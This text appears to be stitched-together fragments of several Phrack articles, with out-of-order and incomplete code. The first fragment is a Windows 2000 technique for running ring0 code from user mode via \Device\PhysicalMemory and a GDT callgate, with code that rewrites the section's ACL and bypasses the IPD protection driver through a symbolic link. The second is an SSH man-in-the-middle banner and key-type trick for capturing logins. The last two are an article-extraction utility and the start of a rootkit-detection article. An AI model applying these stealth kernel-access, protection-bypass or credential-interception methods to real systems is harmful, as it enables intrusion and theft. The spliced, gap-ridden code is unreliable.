then set it with KeI386SetGdtSelector. When you are done just release it
with KeI386ReleaseGdtSelectors.
That's interesting but it doesn't fit our need. So we need to set a GDT
selector while executing code in ring3. Here comes \Device\PhysicalMemory.
In the next section i will explain how to use \Device\PhysicalMemory to
install a callgate.
First question, "why running ring0 code without the use of Device Driver ?"
Advantages:
* no need to register a service to the SCM (Service Control Manager).
* stealth code ;)
Inconvenients:
* code would never be as stable as if running from a (well coded) device
driver.
* we need to add write access to \Device\PhysicalMemory
So just keep in mind that you are dealing with hell while running ring0
code through \Device\PhysicalMemory =]
Ok now we can write the memory and we know that we can use callgate to run
ring0 so what are you waiting ?
First we need to know what part of the section to map to read the GDT
table. This is not a problem since we can access the global descriptor
table register using "sgdt" assembler instruction.
KGDT_ENTRY gGdt;
_asm sgdt gGdt; // load Global Descriptor Table register into gGdt
NtMapViewOfSection(SectionHandle,
ProcessHandle,
BaseAddress, // pointer to mapped memory
0L,
gGdt.LimitLow, // size to map
&PhysicalAddress,
&ViewSize, // pointer to mapped size
ViewShare,
0, // allocation type
PAGE_READWRITE); // protection
offset_0_15 and offset_16_31 are just the low/high word of the function
address. The selector can be one of this list:
// ring0 epilog
_asm {
popfd // restore registers pushed by pushfd
popad // restore registers pushed by pushad
retf // you may retf <sizeof arguments> if you pass arguments
}
}
Pushing all registers onto the stack is the way we use to save all
registers while the ring0 code execution.
short farcall[3];
farcall[0 --> 1] = offset from the target operand. This is ignored when a
callgate is used according to "IA-32 Intel Architecture Software
Developer's Manual (Volume 2)" (see [5]).
_asm {
push arg1
...
push argN
call fword ptr [farcall]
}
As you can see (well ... my scheme is not that good :/) the next/prev
pointers of the ActiveProcessLinks struct are not _EPROCESS structure
pointers. They are pointing to the next LIST_ENTRY struct. That means that
if we want to retrieve the _EPROCESS structure address, we have to adjust
the pointer.
The head of the LIST_ENTRY list is PsActiveProcessHead. You can get its
address with kd for example:
kd> ? PsActiveProcessHead
? PsActiveProcessHead
Evaluate expression: -2142854784 = 8046a180
Just one thing to know. As this List can change very quickly, you may want
to lock it before reading it. Reading ExpGetProcessInformation assembly, we
can see:
Installing the callgate is an easy step as you can see in the sample code.
The hard part is reading the LIST_ENTRY struct. It's kinda strange because
reading a chained list is not supposed to be hard but we are dealing with
physical memory.
First in order to avoid too much use of our callgate we try to use it as
less as we can. Remember, running ring0 code in ring3 is not
*a good thing*.
Problems could happend on the dispatch level where the thread is executed
and second your thread (i think) have a lower priority than a device
driver even if you use SetThreadPriority().
So in order to prevent mapping the section for every process i map 1mb
section each time i need to map one. I think it's the best choice since
most of the EPROCESS structures are located around 0xfce***** - 0xfcf*****.
C:\coding\phrack\winkps\Release>winkps
*** win2k process lister ***
3 sections mapping + 1 for selecting the first entry (process) looks good.
I will just briefly describe the winkps.c but better take time to read the
code.
Flow of winkps.c
- GetSystemInfo()
grab Allocation granularity on the system. (used for calculating offset
on address translation).
- LoadLibrary()
get the address of MmGetPhysicalAddress in ntoskrnl.exe. This can also
be done by parsing the PE header.
- NtOpenSection()
open \Device\PhysicalMemory r/w.
- InstallCallgate()
Map the section for install/remove callgate and install the callgate
using second argument as callgate function.
- DisplayProcesses()
main loop. Errors are catched by the execption handler.
I do this in order to try cleaning the callgate even if there is an
error like access violation (could happend if bad mapping).
- UninstallCallgate()
Remove the callgate and unmap the mapping of the section.
- NtClose()
Simply close the opened HANDLE :)
Now it's time you to read the code and try to recode winkdump.c with a
better address translation support using a callgate :>
ok so .. let's say we want to use ipd and we still want to play with
\Device\PhysicalMemory heh :). I don't really know if this product is well-
known but anyway i wanted to bypass its protection.
In order to restrict access to \Device\PhysicalMemory IPD hooks
ZwOpenSection() and check that the Section being opened is not called
"\Device\PhysicalMemory".
---
from h_mem.c
if (restrictEnabled()) {
if (ObjectAttributes && ObjectAttributes->ObjectName &&
ObjectAttributes->ObjectName->Length>0) {
if (_wcsicmp(ObjectAttributes->ObjectName->Buffer,
L"\\Device\\PhysicaMemory")==0) {
WCHAR buf[200];
swprintf(buf,
L"Blocking device/PhysicalMemory access,
procid=0x%x\n", PsGetCurrentProcessId());
debugOutput(buf);
return STATUS_ACCESS_DENIED;
}
}
}
---
---
[...]
3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0,
"\??\hack_da_ipd"}, 1245028, ... 48, ) == 0x0
4 NtAllocateVirtualMemory(-1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0
5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ...
{124, 148, 2, 868, 840, 7002, 0}, ) == 0x0
6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, ... 44, )
== 0x0
7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,
148, 2, 868, 840, 7003, 0}, ) == 0x0
8 NtClose (44, ... ) == 0x0
9 NtClose (48, ... ) == 0x0
[...]
---
(a strace for Windows is avaible at BindView's RAZOR web site. see [7])
As you can see NtOpenSection doesn't recall itself with the real name of
the object so all is good.
At this point \Device\PhysicalMemory is our so IPD is 100% corrupted :p as
we can read/write whereever we want in the memory.
Remember that you must run this program with user SYSTEM.
LICENSE:
Sample code provided with the article may be copied/duplicated and modified
in any form as long as this copyright is prepended unmodified.
Code are proof of concept and the author can and must not be made
responsible for any damage/data loss.
Use this code at your own risk.
crazylord / CNS
// useful macros
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#define INIT_UNICODE(_var,_buffer) \
UNICODE_STRING _var = { \
sizeof (_buffer) - sizeof (WORD), \
sizeof (_buffer), \
_buffer }
// callgate info
typedef struct _KGDTENTRY {
WORD LimitLow;
WORD BaseLow;
WORD BaseHigh;
} KGDTENTRY, *PKGDTENTRY;
// section info
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
// symlink info
#define SYMBOLIC_LINK_QUERY (0x0001)
#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
// process info
// Flink to _EPROCESS
#define TO_EPROCESS(_a) ((DWORD) _a - 0xA0)
// Flink to UniqueProcessId
#define TO_PID(_a) (DWORD) ((DWORD) _a - 0x4)
// Flink to ImageFileName
#define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C)
IMP_SYSCALL
NtMapViewOfSection(HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
ULONG CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG Protect);
IMP_SYSCALL
NtUnmapViewOfSection(HANDLE ProcessHandle,
PVOID BaseAddress);
IMP_SYSCALL
NtOpenSection(PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes);
IMP_SYSCALL
NtClose(HANDLE Handle);
IMP_SYSCALL
NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PUNICODE_STRING TargetName);
#include <stdio.h>
#include <windows.h>
#include <aclapi.h>
#include "..\kmem.h"
if (argc < 2)
usage(argv[0]);
if (!strcmp(argv[1], "/current")) {
mode = 1;
} else if (!strcmp(argv[1], "/user") && argc == 3) {
mode = 2;
} else
usage(argv[0]);
memset(&Access, 0, sizeof(EXPLICIT_ACCESS));
InitializeObjectAttributes(&ObAttributes,
&ObName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
Access.grfAccessPermissions = SECTION_ALL_ACCESS; // :P
Access.grfAccessMode = GRANT_ACCESS;
Access.grfInheritance = NO_INHERITANCE;
Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
// change these informations to grant access to a group or other user
Access.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
Access.Trustee.TrusteeType = TRUSTEE_IS_USER;
if (mode == 1)
Access.Trustee.ptstrName = "CURRENT_USER";
else
Access.Trustee.ptstrName = argv[2];
// update ACL
Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION, NULL, NULL, NewDacl,
NULL);
if (Res != ERROR_SUCCESS) {
printf("error: SetEntriesInAcl (code: %lu)\n", Res);
goto cleanup;
}
printf("\\Device\\PhysicalMemory chmoded\n");
cleanup:
if (Section)
NtClose(Section);
if (SecDesc)
LocalFree(SecDesc);
return(0);
}
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "..\kmem.h"
ULONG Granularity;
InitializeObjectAttributes(&ObAttributes,
&ObString,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
// open \Device\PhysicalMemory
ntS = NtOpenSection(Section,
SECTION_MAP_READ,
&ObAttributes);
if (ntS != STATUS_SUCCESS) {
printf(" * error NtOpenSection (code: %x)\n", ntS);
return(0);
}
return(1);
}
if (argc != 3) {
printf("usage: %s <address> <size>\n", argv[0]);
return(0);
}
if (!Size) {
printf("error: invalid size\n");
return(0);
}
if (ntS == STATUS_SUCCESS) {
hexdump((char *)MappedAddress+Offset, Size);
NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
} else {
if (ntS == 0xC00000F4L)
printf("error: invalid physical address translation\n");
else
printf("error: NtMapViewOfSection (code: %x)\n", ntS);
}
NtClose(Section);
return(0);
}
ULONG Granularity;
PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY) PSADD;
MY_CG GdtMap;
MAPPING CurMap;
popf
popad
retf
}
}
farcall[2] = GdtMap.Segment;
SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL);
Sleep(0);
SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL);
VirtualUnlock((PVOID) Ring0Func, 0x30);
}
return(CurMap.pAddress);
}
Size = gGdt.LimitLow;
ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress,
0L, Size, &GdtMap.pAddress, &Size, ViewShare,
0, PAGE_READWRITE);
if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) {
printf("error: NtMapViewOfSection (code: %x)\n", ntS);
return(0);
}
if (GdtMap.Desc == NULL) {
printf("error: unable to find free entry for installing callgate\n");
printf(" not normal by the way .. your box is strange =]\n");
}
GdtMap.Segment =
((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3;
printf("Allocated segment : %x\n", GdtMap.Segment);
return(1);
}
} else {
CurProcess = NextProcess;
// unmap old view and map a new one
// calculate next base address to map
vOldEntry = vCurEntry;
vCurEntry = (PVOID) (TO_EPROCESS(PsCur->Flink) & 0xFFF00000);
UnmapVirtualMemory(vCurEntry);
}
GetSystemInfo(&SysInfo);
Granularity = SysInfo.dwAllocationGranularity;
printf("Allocation granularity: %lu bytes\n", Granularity);
InitializeObjectAttributes(&ObAttributes,
&ObString,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
hDll = LoadLibrary("ntoskrnl.exe");
if (hDll) {
MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD +
(DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress"));
printf("MmGetPhysicalAddress : 0x%.8x\n", MmGetPhysicalAddress);
FreeLibrary(hDll);
}
memset(&CurMap, 0, sizeof(MAPPING));
__try {
DisplayProcesses(Section);
} __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) {
printf("exception: trying to clean callgate...\n");
goto cleanup;
}
cleanup:
if (Section)
NtClose(Section);
return(0);
}
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include "..\kmem.h"
int main() {
NTSTATUS ntS;
HANDLE SymLink, Section;
OBJECT_ATTRIBUTES ObAttributes;
INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
INIT_UNICODE(ObNewName, L"\\??\\hack_da_ipd");
InitializeObjectAttributes(&ObAttributes,
&ObNewName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
NtClose(SymLink);
return(0);
}
--[ 6 - Conclusion
I hope this article helped you to understand the base of Windows kernel
objects manipulation. As far as i know you can do as much things as you can
with linux's /dev/kmem so there is no restriction except your imagination
:).
I also hope that this article will be readen by Linux dudes.
Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally
syn/ack oldschool people (wilmi power) =]
--[ 7 - References
books:
* Undocumented Windows 2000 Secrets, A Programmer's Cookbook
(http://www.orgon.com/w2k_internals/)
* Inside Microsoft Windows 2000, Third Edition
(http://www.microsoft.com/mspress/books/4354.asp)
* Windows NT/2000 Native API Reference
==Phrack Inc.==
--[ Contents
- Intoduction
3 - Countermeasures
4 - An Implementation
5 - Discussion
6 - Acknowledgments
7 - References
--[ Introduction
The Secure Shell (SSH) protocol which itself is considered strong is often
weakly implemented. Especially the SSH1/SSH2 interoperability as
implemented in most SSH clients suffers from certain weak points as
described below. Additionally the SSH2 protocol itself is also flexible
enough to contain some interesting parts for attackers.
The described mim-program will be made available one week after releasing
this article to give vendors time for fixes (which are rather trivial) to
limit the possibility of abuse.
In this article I will describe how SSH clients can be tricked into
thinking they are missing the host-key for the host they connected to even
though they already have it in their list of known hosts. This is possible
due to some points in the SSH drafts which makes life of SSH developers
harder but which was ment to offer special protection or more flexibility.
The SSH draft demands that both, client and server, exchange a banner
before negotiating the key used for encrypting the communication channel.
This is indeed needed for both sides to see which version of the protocol
they have to speak. A banner commonly looks like
SSH-1.99-OpenSSH_2.2.0p1
A client obtaining such a banner reads this as "speak SSH1 or SSH2 to me".
This is due to the "1" after the dash, the so called remote major version.
It allows the client to choose SSH1 for key negotiation and further
encryption. However it is also possible for the client to continue with
SSH2 packets as the "99" tells him which is also called the remote minor
version. (It is a convention that a remote-minor version of 99 with a
remote-major version of 1 means both protocols.)
Protocol 1,2
which makes the client choose SSH protocol version 1. It is obvious what
follows now. Since the SSH client used to use SSH1 to talk to the server it
is likely that he never spoke SSH2 before. This may be exploited by
attackers to prompt a banner like
SSH-2.00-TESO-SSH
to the client. The client looks up his database of known hosts and misses
the host-key because it only finds the SSH1 key of the server which does
not help much because according to the banner he is not allowed to speak
SSH1 anymore (since the remote major version number is 2). Instead of
presenting a warning like
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA1 host key has just been changed.
The fingerprint for the RSA1 key sent by the remote host is
f3:cd:d9:fa:c4:c8:b2:3b:68:c5:38:4e:d4:b1:42:4f.
Please contact your system administrator.
if someone tries MiM attacks against it without the banner-hack, it asks
the user to just accept the new key:
It is much easier now for the user to type "yes" instead of editing the
known_hosts file and restarting the SSH client. Once accepted, the
attackers SSH server would record the login and password and would forward
the SSH connection so the user does not notice his account was just
compromised.
This attack will not work for clients which just support one protocol
(likely to be SSH1) because they only implement one of them. These clients
should be very seldom and most if not all SSH clients support both
versions, indeed it is even a marketing-pusher to support both versions.
If the client uses RSA authentication there is no way for the attacker to
get in between since he cannot use the RSA challenges presented to him by
the server because he is talking a different protocol to the client. In
other words, the attacker is never speaking the same version of the
protocol to both parties and thus cannot forward or intercept RSA
authentication.
A sample MiM program (ssharp) which mounts the banner-hack and records
logins can be found at [ssharp].
Reading the SSH2 draft shows that SSH2 does not use the host-key for
encryption anymore (as with SSH1 where the host and server-key was sent to
the client which sent back the session-key encrypted with these keys).
Instead the client obtains the host-key to check whether any of the
exchanged packets have been tampered with by comparing the server sent MAC
(Message Authentication Code; the server computes a hash of the packets
exchanged and signs it using the negotiated algorithm) with his own
computed hash. The SSH2 draft is flexible enough to offer more than just
one static algorithm to allow MAC computation. Rather it specifies that
during key exchange the client and the server exchange a list of preferred
algorithms they use to ensure packet integrity. Commonly DSA and RSA are
used:
stealth@liane:~> telnet 192.168.0.2 22
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '^]'.
SSH-1.99-OpenSSH_2.2.0p1
SSH-2.0-client
`$es??%9?2?4D=?)??ydiffie-hellman-group1-sha1ssh-dss...
A SSH client connecting to our MiM server will once again prompt the user
to accept the new key instead of issuing the MiM warning.
The MiM server connected to the original server and got to know that he
is using DSA. He then decided to face the user with a RSA key. If the
original server offers DSA and RSA the MiM server will wait until the
client sends his preferred algorithms and will choose an algorithm the
client is naming for his second choice. A RFC compliant SSH2 server has to
choose the first algorithm he is supporting from the client list, our MiM
server will choose the next one and thus produces a key-miss on
client-side. This will again produce a yes/no prompt instead of the warning
message. "ssharp" also supports this key-hack mode.
--[ 3 - Countermeasures
Having the RSA host-key for a server offering a DSA host-key means nothing
for todays clients. They ignore the fact that they have a valid host-key
for that host but in a different key-type. SSH clients should also issue
the MiM warning if they find host-keys for the server where either the
version or type does not match. Its very likely someone in playing MiM
games. In my eyes it is definitely a bug in the SSH client software.
--[ 4 - An Implementation
There already exist some MiM implementations for SSH1 such as [dsniff] or
[ettercap]. Usually they understand the SSH protocol and put much effort
into packet assembling and reassembling or forwarding. Things are much
simpler. ssharp is based on a normal OpenSSH daemon which was modified to
accept any login/password pair and starts a special shell for these
connections: a SSH client which is given the username/password and the real
destination IP. It logs into the remote host without user-interaction and
since it is bound to the mim servers pty it looks for the user like he
enters his normal shell. This way it is not needed to mess with SSH1 or
SSH2 protocol or to replace keys etc. We just play with the banner or the
signature algorithm negotiation the way described above.
If compiled with USE_MSS option enabled, ssharp will slip the SSH client
through a screen-like session which allows attaching of third parties to
existing (mimed) SSH1 or SSH2 connections. It is also possible to kick out
the legitimate user and completely take control over the session.
--[ 5 - Discussion
I know I know; a lot of people will ask "thats all?" now. As with every
discovery plenty of folks will claim that this is "standard UNIX semantics"
or it is feature and not a bug or that the vulnerability is completely
Theo...cal. Neither of them is the case here, and the folks only looking
for weaknesses in the crypto-algorithms such as key-stream-reuse and
possibilities to inject 2^64 ;-) adaptive choosen plain-texts will
hopefully acknowledge that crypto-analysis in 2002 welcomes laziness and
misunderstanding of drafs on board. Laziness already broke Enigma, but next
years will show how much impact it has when people are not able to
completely understand protocols or put too much trust in crypto and do not
think about the impact of violating the simple MUST in section
1.1.70.3.3.1.9.78. of the super-crypto draft.
--[ 6 - Acknowledgments
Folks from the segfault dot net consortium ;-) for discussing and offering
test environments. If you like to donate some hardware or money to these
folks let me know. It would definitely help to let continue research on
this and similar topics.
Also thanks to various other folks for discussing SSH with me.
This article is also available [here] as pdf paper with some screen-shots
to demonstrate the power of ssharp.
--[ 7. References
[dsniff] as far as I know the first SSH1 MiM implementation "monkey in the
middle" part of dsniff package.
http://www.monkey.org/~dugsong/dsniff
==Phrack Inc.==
|=--------=[ P H R A C K E X T R A C T I O N U T I L I T Y ]=--------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ phrackstaff ]=----------------------------=|
|=-----------------------------------------------------------------------=|
/*
* extract.c by Phrack Staff and sirsyko
*
* Copyright (c) 1997 - 2000 Phrack Magazine
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* extract.c
* Extracts textfiles from a specially tagged flatfile into a hierarchical
* directory structure. Use to extract source code from any of the articles
* in Phrack Magazine (first appeared in Phrack 50).
*
* Extraction tags are of the form:
*
* host:~> cat testfile
* irrelevant file contents
* <++> path_and_filename1 !CRC32
* file contents
* <-->
* irrelevant file contents
* <++> path_and_filename2 !CRC32
* file contents
* <-->
* irrelevant file contents
* <++> path_and_filenamen !CRC32
* file contents
* <-->
* irrelevant file contents
* EOF
*
* The `!CRC` is optional. The filename is not. To generate crc32 values
* for your files, simply give them a dummy value initially. The program
* will attempt to verify the crc and fail, dumping the expected crc value.
* Use that one. i.e.:
*
* host:~> cat testfile
* this text is ignored by the program
* <++> testarooni !12345678
* text to extract into a file named testarooni
* as is this text
* <-->
*
* host:~> ./extract testfile
* Opened testfile
* - Extracting testarooni
* crc32 failed (12345678 != 4a298f18)
* Extracted 1 file(s).
*
* You would use `4a298f18` as your crc value.
*
* Compilation:
* gcc -o extract extract.c
*
* ./extract file1 file2 ... filen
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
struct f_name
{
u_char name[256];
struct f_name *next;
};
void crcgen()
{
unsigned long crc, poly;
int i, j;
poly = 0xEDB88320L;
for (i = 0; i < 256; i++)
{
crc = i;
for (j = 8; j > 0; j--)
{
if (crc & 1)
{
crc = (crc >> 1) ^ poly;
}
else
{
crc >>= 1;
}
}
crcTable[i] = crc;
}
}
crc = 0xFFFFFFFF;
while( (c = getc(fp)) != EOF )
{
crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF];
}
int
main(int argc, char **argv)
{
char *name;
u_char b[256], *bp, *fn, flags;
int i, j = 0, h_c = 0, c;
unsigned long crc = 0, crc_f = 0;
FILE *in_p, *out_p = NULL;
struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;
if (c < 2)
{
fprintf(stderr, "Usage: %s [-cqv] file1 file2 ... filen\n", argv[0]);
exit(0);
}
/*
* Fill the f_name list with all the files on the commandline (ignoring
* argv[0] which is this executable). This includes globs.
*/
for (i = 1; (fn = argv[i++]); )
{
if (!head)
{
if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(EXIT_FAILURE);
}
strncpy(head->name, fn, sizeof(head->name));
head->next = NULL;
fn_p = head;
}
else
{
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(EXIT_FAILURE);
}
fn_p = fn_p->next;
strncpy(fn_p->name, fn, sizeof(fn_p->name));
fn_p->next = NULL;
}
}
/*
* Sentry node.
*/
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(EXIT_FAILURE);
}
fn_p = fn_p->next;
fn_p->next = NULL;
/*
* Check each file in the f_name list for extraction tags.
*/
for (fn_p = head; fn_p->next; )
{
if (!strcmp(fn_p->name, "-"))
{
in_p = stdin;
name = "stdin";
}
else if (!(in_p = fopen(fn_p->name, "r")))
{
fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
fn_p = fn_p->next;
continue;
}
else
{
name = fn_p->name;
}
crc = 0;
crc_f = 0;
if ((bp = strchr(b + BT_SIZE + 1, '/')))
{
while (bp)
{
*bp = 0;
if (mkdir(b + BT_SIZE, 0700) == -1 && errno != EEXIST)
{
perror("mkdir");
exit(EXIT_FAILURE);
}
*bp = '/';
bp = strchr(bp + 1, '/');
}
}
$opening=0;
cat $* | (
Working=1
while [ $Working ];
do
OLDIFS1="$IFS"
IFS=
if read Line; then
IFS="$OLDIFS1"
set -- $Line
case "$1" in
"<++>") OLDIFS2="$IFS"
IFS=/
set -- $2
IFS="$OLDIFS2"
while [ $# -gt 1 ]; do
File=${File:-"."}/$1
if [ ! -d $File ]; then
echo "Making dir $File"
mkdir $File
fi
shift
done
File=${File:-"."}/$1
echo "Storing data in $File"
;;
"<-->") if [ "x$File" != "x" ]; then
unset File
fi ;;
*) if [ "x$File" != "x" ]; then
IFS=
echo "$Line" >> $File
IFS="$OLDIFS1"
fi
;;
esac
IFS="$OLDIFS1"
else
echo "End of file"
unset Working
fi
done
)
<-->
<++> extract/extract.py !83f65f60
#! /bin/env python
# extract.py Timmy 2tone <_spoon_@usa.net>
class Datasink:
"""Looks like a file, but doesn't do anything."""
def write(self, data): pass
def close(self): pass
if type(input) == type('string'):
fname = input
try: input = open(fname)
except IOError, (errno, why):
print "Can't open %s: %s" % (fname, why)
return errno
else:
fname = '<file descriptor %d>' % input.fileno()
inside_embedded_file = 0
linecount = 0
line = input.readline()
while line:
inside_embedded_file = 1
linecount = 0
filename = string.strip(line[4:])
if mkdirs_if_any(filename) != 0:
pass
if verbose:
print 'Extracting embedded file %s from %s...' % (filename,
fname),
elif inside_embedded_file:
output.write(line)
errno = 0
start = os.getcwd()
components = string.split(path, os.sep)
for dir in components:
if not os.path.exists(dir):
try:
os.mkdir(dir)
if verbose: print 'Created directory', path
try: os.chdir(dir)
except os.error, (errno, why):
print "Can't cd to directory %s: %s" % (dir, why)
break
os.chdir(start)
return errno
def usage():
"""Blah."""
die('Usage: extract.py [-V] filename [filename...]')
def main():
try: optlist, args = getopt.getopt(sys.argv[1:], 'V')
except getopt.error, why: usage()
if len(args) <= 0: usage()
if __name__ == '__main__':
try: main()
except KeyboardInterrupt: pass
if __name__ == '__main__':
try: main()
except KeyboardInterrupt: pass # No messy traceback.
<-->
<++> extract/extract-win.c !e519375d
/***************************************************************************/
/* WinExtract */
/* */
/* Written by Fotonik <fotonik@game-master.com>. */
/* */
/* Coding of WinExtract started on 22aug98. */
/* */
/* This version (1.0) was last modified on 22aug98. */
/* */
/* This is a Win32 program to extract text files from a specially tagged */
/* flat file into a hierarchical directory structure. Use to extract */
/* source code from articles in Phrack Magazine. The latest version of */
/* this program (both source and executable codes) can be found on my */
/* website: http://www.altern.com/fotonik */
/***************************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
ZeroMemory(&OpenFile, sizeof(OPENFILENAME));
OpenFile.lStructSize=sizeof(OPENFILENAME);
OpenFile.hwndOwner=HWND_DESKTOP;
OpenFile.hInstance=hThisInst;
OpenFile.lpstrFile=InFileName;
OpenFile.nMaxFile=sizeof(InFileName)-1;
OpenFile.lpstrTitle=Title;
OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;
if(GetOpenFileName(&OpenFile))
{
if((InFile=fopen(InFileName,"r"))==NULL)
{
MessageBox(NULL,"Could not open file.",NULL,MB_OK);
return 0;
}
if((OutFile=fopen(OutFileName,"w"))==NULL)
{
MessageBox(NULL,"Could not create file.",NULL,MB_OK);
fclose(InFile);
return 0;
}
==Phrack Inc.==
--[ Introduction
Over the years mankind has developed many techniques for masking presence
of the attacker in the hacked system. In order to stay invisible modern
backdoors modify kernel structures and code, causing that nobody can trust
the kernel. Nobody, including IDS tools...
Also at the end of the article the PatchFinder source code is included - a
proof of concept for described technique.
I am not going to explain how to write a kernel rootkit. For details I send
reader to the references. However I briefly characterize known techniques
so their resistance to presented detection method can be described.
--[ Background
Lets take a quick look at typical kernel rootkits. Such programs must solve
two problems: find a way to get into the kernel and modify the kernel in a
smart way. On Linux the first task can be achieved by using Loadable Kernel
Modules (LKM) or /dev/kmem device.
Using LKM is the easiest and most elegant way to modify the running kernel.
It was probably first discussed by halflife in [HALF97]. There are many
popular backdoors which use LKM (see [KNAR01], [ADOR01], [PALM01]). However
this technique has a weak point - LKM can be disabled on some systems.
When we do not have LKM support we can use technique, developed by Silvio
Cesare, which uses /dev/kmem to access directly kernel memory (see
[SILV98]). There is no easy work-around for this method, since patching
do_write_mem() function is not sufficient, as it was recently showed by
Guillaume Pelat (see [MMAP02]).
----[ modifying syscall table
Providing that we can write to kernel memory, we face the problem what to
modify.
When there is LKM mechanism enabled in the system, we can use simple
module, which read syscall table (directly accessing kernel memory) and
then puts it into the userland (due to /proc filesystem for example).
Unfortunately when LKM is not supported we can not read kernel memory
reliably, since we use sys_read() or sys_mmap() to read or mmap /dev/kmem.
We can not be sure that malicious code we are trying to find, does not
alter sys_read()/sys_mmap() system calls.
With LKM disabled, we face the same problem as explained in the above
paragraphs.
The things become even more complicated when we disable LKM on our kernel
(to be more secure:)). Then, as I have just said, we can not read kernel
memory reliable, because we are not sure that sys_read() returns real bytes
(so we can't read /dev/kmem). We are also not sure that sys_mmap2() fills
mapped pages with correct bytes...
Lets try from other side. If somebody modified some kernel functions, it is
very probable, that the number of instructions executed during some system
calls (for e.g. sys_getdents() in case an attacker is trying to hide files)
will be different than in the original kernel. Indeed, malicious code must
perform some additional actions, like cutting off secret filenames, before
returns results to userland. This implies execution of many more
